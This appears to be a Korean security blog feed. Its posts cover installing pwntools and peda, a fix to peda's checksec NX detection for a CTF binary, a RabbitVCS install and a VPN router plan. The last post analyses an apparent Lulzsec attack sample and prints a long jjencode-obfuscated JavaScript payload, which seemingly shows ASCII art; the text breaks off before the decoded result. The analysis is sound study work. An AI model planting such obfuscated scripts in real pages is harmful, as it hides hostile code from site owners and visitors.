본 명령어는 Windows 7 이후부터 기본 명령어로 탑재된 것으로 보입니다.

출처 : https://isc.sans.edu/forums/diary/Microsoft+BITS+Used+to+Download+Payloads/21027

peda, pwntools 설치하기

Sat, 21 May 2016 08:55:32 +0000

[pwntools]

1
2


sudo apt-get install build-essential libssl-dev libffi-dev python-dev binutils binutils-dev python2.7 python2.7-dev python-pip
sudo pip install pwntools

[peda]

1
2
3


sudo apt-get install git
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

checksec.sh 스크립트 NX 확인 관련 오동작

Wed, 27 Jan 2016 15:56:39 +0000

최근 pwnable.kr 문제 중 tiny_easy를 풀다 checksec 결과에서 NX 값이 잘못 표시되는 것을 확인하고 포스팅 합니다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


tester@ubuntu:~$ gdb tiny_easy
GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from tiny_easy...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
gdb-peda$

위와 같이 checksec 명령어상에서는 NX가 켜져 있는것으로 확인되나 실제로는 꺼져 있습니다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66


gdb-peda$ r
Starting program: /home/tester/tiny_easy

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0x0
ECX: 0x0
EDX: 0x6d6f682f ('/hom')
ESI: 0x0
EDI: 0x0
EBP: 0x0
ESP: 0xbffff1f4 --> 0x804805a (add BYTE PTR [eax],al)
EIP: 0x6d6f682f ('/hom')
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x6d6f682f
[------------------------------------stack-------------------------------------]
0000| 0xbffff1f4 --> 0x804805a (add BYTE PTR [eax],al)
0004| 0xbffff1f8 --> 0x0
0008| 0xbffff1fc --> 0xbffff3c9 ("XDG_VTNR=7")
0012| 0xbffff200 --> 0xbffff3d4 ("XDG_SESSION_ID=c2")
0016| 0xbffff204 --> 0xbffff3e6 ("XDG_GREETER_DATA_DIR=/var/lib/lightdm-data/tester")
0020| 0xbffff208 --> 0xbffff418 ("SELINUX_INIT=YES")
0024| 0xbffff20c --> 0xbffff429 ("CLUTTER_IM_MODULE=xim")
0028| 0xbffff210 --> 0xbffff43f ("GPG_AGENT_INFO=/run/user/1000/keyring-vA2k21/gpg:0:1")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x6d6f682f in ?? ()
gdb-peda$ nxtest
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0x0
ECX: 0x0
EDX: 0x6d6f682f ('/hom')
ESI: 0x0
EDI: 0x0
EBP: 0x0
ESP: 0xbffff1f4 --> 0xcccccccc
EIP: 0xbffff1f5 --> 0xcccccccc
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
 0xbffff1ef: add BYTE PTR [ecx],al
 0xbffff1f1: add BYTE PTR [eax],al
 0xbffff1f3: add ah,cl
=> 0xbffff1f5: int3 
 0xbffff1f6: int3 
 0xbffff1f7: int3 
 0xbffff1f8: int3 
 0xbffff1f9: int3
[------------------------------------stack-------------------------------------]
0000| 0xbffff1f4 --> 0xcccccccc
0004| 0xbffff1f8 --> 0xcccccccc
0008| 0xbffff1fc --> 0xbffff3c9 ("XDG_VTNR=7")
0012| 0xbffff200 --> 0xbffff3d4 ("XDG_SESSION_ID=c2")
0016| 0xbffff204 --> 0xbffff3e6 ("XDG_GREETER_DATA_DIR=/var/lib/lightdm-data/tester")
0020| 0xbffff208 --> 0xbffff418 ("SELINUX_INIT=YES")
0024| 0xbffff20c --> 0xbffff429 ("CLUTTER_IM_MODULE=xim")
0028| 0xbffff210 --> 0xbffff43f ("GPG_AGENT_INFO=/run/user/1000/keyring-vA2k21/gpg:0:1")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGTRAP
0xbffff1f5 in ?? ()
NX test at stack: Executable
gdb-peda$

이에 checksec 명령어 관련 소스를 확인한 결과 peda에서는 아래 사이트의 스크립트를 참조함을 알 수 있었습니다. http://www.trapkit.de/tools/checksec.html

또한 이와 동일한 오류가 pwntools github에 보고가 되어 있었습니다. (Thanks to laughfool) https://github.com/Gallopsled/pwntools/issues/442

checksec.sh 코드를 리뷰한 결과 NX 확인은 아래 명령어의 결과값이 없을 경우 ENABLE로 판단함을 알 수 있었습니다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


tester@ubuntu:~$ readelf -W -l tiny_easy | grep "GNU_STACK" | grep "RWE"
tester@ubuntu:~$ readelf -W -l tiny_easy

Elf file type is EXEC (Executable file)
Entry point 0x8048054
There are 1 program headers, starting at offset 52

Program Headers:
 Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
 LOAD 0x000000 0x08048000 0x08048000 0x0005a 0x0005a R E 0x1000
tester@ubuntu:~$

tiny_easy 파일은 일반적인 ELF 파일과 다르게 GNU_STACK 이 없음을 알 수 있습니다. 이 경우 NX가 DISABLE로 되어야 하나 checksec.sh 스크립트에서는 이러한 예외사항을 고려하지 않았습니다. 이에 peda.py를 아래와 같이 수정 후 정상적인 결과값을 확인할 수 있었습니다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51


def checksec(self, filename=None):
 """
 Check for various security options of binary (ref: http://www.trapkit.de/tools/checksec.sh)

 Args:
 - file: path name of file to check (String)

 Returns:
 - dictionary of (setting(String), status(Int)) (Dict)
 """
 result = {}
 result["RELRO"] = 0
 result["CANARY"] = 0
 result["NX"] = 1
 result["PIE"] = 0
 result["FORTIFY"] = 0

 if filename is None:
 filename = self.getfile()

 if not filename:
 return None

 out = execute_external_command("%s -W -a \"%s\" 2>&1" % (config.READELF, filename))
 if "Error:" in out:
 return None

 for line in out.splitlines():
 if "GNU_RELRO" in line:
 result["RELRO"] |= 2
 if "BIND_NOW" in line:
 result["RELRO"] |= 1
 if "__stack_chk_fail" in line:
 result["CANARY"] = 1
+ # modified by JJoon
+ if "GNU_STACK" not in line:
+ result["NX"] = 0
 if "GNU_STACK" in line and "RWE" in line:
 result["NX"] = 0
 if "Type:" in line and "DYN (" in line:
 result["PIE"] = 4 # Dynamic Shared Object
 if "(DEBUG)" in line and result["PIE"] == 4:
 result["PIE"] = 1
 if "_chk@" in line:
 result["FORTIFY"] = 1

 if result["RELRO"] == 1:
 result["RELRO"] = 0 # ? | BIND_NOW + NO GNU_RELRO = NO PROTECTION
 # result["RELRO"] == 2 # Partial | NO BIND_NOW + GNU_RELRO
 # result["RELRO"] == 3 # Full | BIND_NOW + GNU_RELRO
 return result

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


tester@ubuntu:~$ gdb tiny_easy
GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from tiny_easy...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : disabled
gdb-peda$

리눅스 바이너리 보안설정 확인

Mon, 25 Jan 2016 12:19:05 +0000

문제 바이너리의 보안설정을 확인할 수 있는 스크립트다. http://www.trapkit.de/tools/checksec.html

1
2
3
4
5


tester@ubuntu:~$ file tiny_easy
tiny_easy: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, corrupted section header size
tester@ubuntu:~$ ./checksec.sh --file tiny_easy
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH tiny_easy

이 외에 PEDA에서 'checksec' 명령어로도 확인이 가능하다. https://github.com/longld/peda

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


tester@ubuntu:~$ gdb tiny_easy
GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from tiny_easy...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
gdb-peda$

Ubuntu용 SVN 클라이언트 설치

Tue, 06 Jan 2015 04:54:52 +0000

윈도에서 자주 사용하던 TortoiseSVN과 유사한 클라이언트를 찾다 발견한 RabbitVCS 설치법을 작성합니다.

1
2
3


sudo add-apt-repository ppa:rabbitvcs/ppa
sudo apt-get update
sudo apt-get install rabbitvcs-nautilus3

UI는 아래 이미지를 참고하세요.

출처 : http://aruizca.com/how-to-integrate-rabbitvcs-with-nautilus-file-manager-in-ubuntu-14-04-trusty-tahr/

VPN 공유기 개발

Sat, 13 Dec 2014 05:11:40 +0000

라즈베리파이, 큐비보드 등을 이용해 VPN공유기를 개발하고자 한다.

[VPN서버] <-> [라즈베리파이, 큐비보드] <-> [사용자]

조건

라즈베리파이, 큐비보드 등에서 VPN 연결이 끊길경우 일반 인터넷망으로 연결이 되어서는 안된다. (VPN 회신만 사용)
라즈베리파이, 큐비보드 등의 장비를 켜는것 만으로 동작이 되어야 한다. (사용자가 컴맹임을 감안)
유무선 중 가능한 것으로 이용한다.

참고자료 http://libsora.so/posts/raspberry-pi-hostapd/ http://jonghyunkim816.blogspot.kr/2013/10/raspberry-pi-3g-tethering-wifi.html

한국 Lulzsec 공격 분석

Fri, 05 Dec 2014 14:10:48 +0000

개요

한동안 스크립트 분석을 하지 않다 최근 lulzsec이 한국에서 활동한다는 소식을 접하고 관련 샘플을 찾아서 분석을 해봤습니다. 이 샘플이 그 샘플이 맞는지는 모르겠으나 허접하게 작성되었네요 -_-;

jjencode 난독화 부분

우선 원본 코드 입니다. jjencode로 난독화 되어 있습니다.

1

$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"""+$.$_$_+(![]+"")[$._$_]+$.$$$_+""+$.__$+$.$$_+$._$_+$.__+"('"+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"___"+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"____"+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"____\"+$.__$+$.$_$+$.$$_+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"______/"+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"\\__//"+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"\\__/_____\\\"+$.__$+$.$_$+$.$$_+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"_/"+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"\\_/"+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+":"+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"//_____\\\\\"+$.__$+$.$_$+$.$$_+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"/|"+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+":"+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+":"+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+".."+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"/"+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"\\\"+$.__$+$.$_$+$.$$_+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"||"+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"::"+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"::"+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"\\"+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"/\"+$.__$+$.$_$+$.$$_+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"||"+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+":|"+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"||"+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"\\"+$.$__+$.___+""+$.$__+$.___+"\_____/\"+$.__$+$.$_$+$.$$_+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"||"+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"||"+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"||"+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"|\\"+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"/"+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"|\"+$.__$+$.$_$+$.$$_+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"\\|"+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"||"+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"||"+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"|"+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"/"+$.$__+$.___+"|"+$.$__+$.___+""+$.$__+$.___+"\\\"+$.__$+$.$_$+$.$$_+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"|"+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"||"+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"||"+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"|"+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"/"+$.$__+$.___+"/_\\"+$.$__+$.___+""+$.$__+$.___+"\\\"+$.__$+$.$_$+$.$$_+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"|"+$.$__+$.___+"____"+$.$__+$.___+"||"+$.$__+$.___+"______"+$.$__+$.___+"||"+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"|"+$.$__+$.___+""+$.$__+$.___+"/"+$.$__+$.___+""+$.$__+$.___+"/"+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"\\\"+$.__$+$.$_$+$.$$_+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"\\"+$.$__+$.___+"_-_"+$.$__+$.___+"/"+$.$__+$.___+"\\"+$.$__+$.___+"_-_-_"+$.$__+$.___+"/"+$.$__+$.___+"|"+$.$__+$.___+"______"+$.$__+$.___+"|/_/"+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"\\\"+$.__$+$.$_$+$.$$_+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"_\\_-_-_-_/"+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"\\"+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"/\"+$.__$+$.$_$+$.$$_+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"/____"+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"/\"+$.__$+$.$_$+$.$$_+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"/"+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"\\"+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"/\"+$.__$+$.$_$+$.$$_+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"\\______\\_________"+$.$__+$.___+"/\"+$.__$+$.$_$+$.$$_+"\"+$.__$+$.$_$+$.$$_+"\"+$.__$+$.$_$+$.$$_+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+""+$.$__+$.___+"');"+""")())();

난독화 되어 있는 코드를 디코딩 하면 아래와 같은 결과가 나옵니다.

1

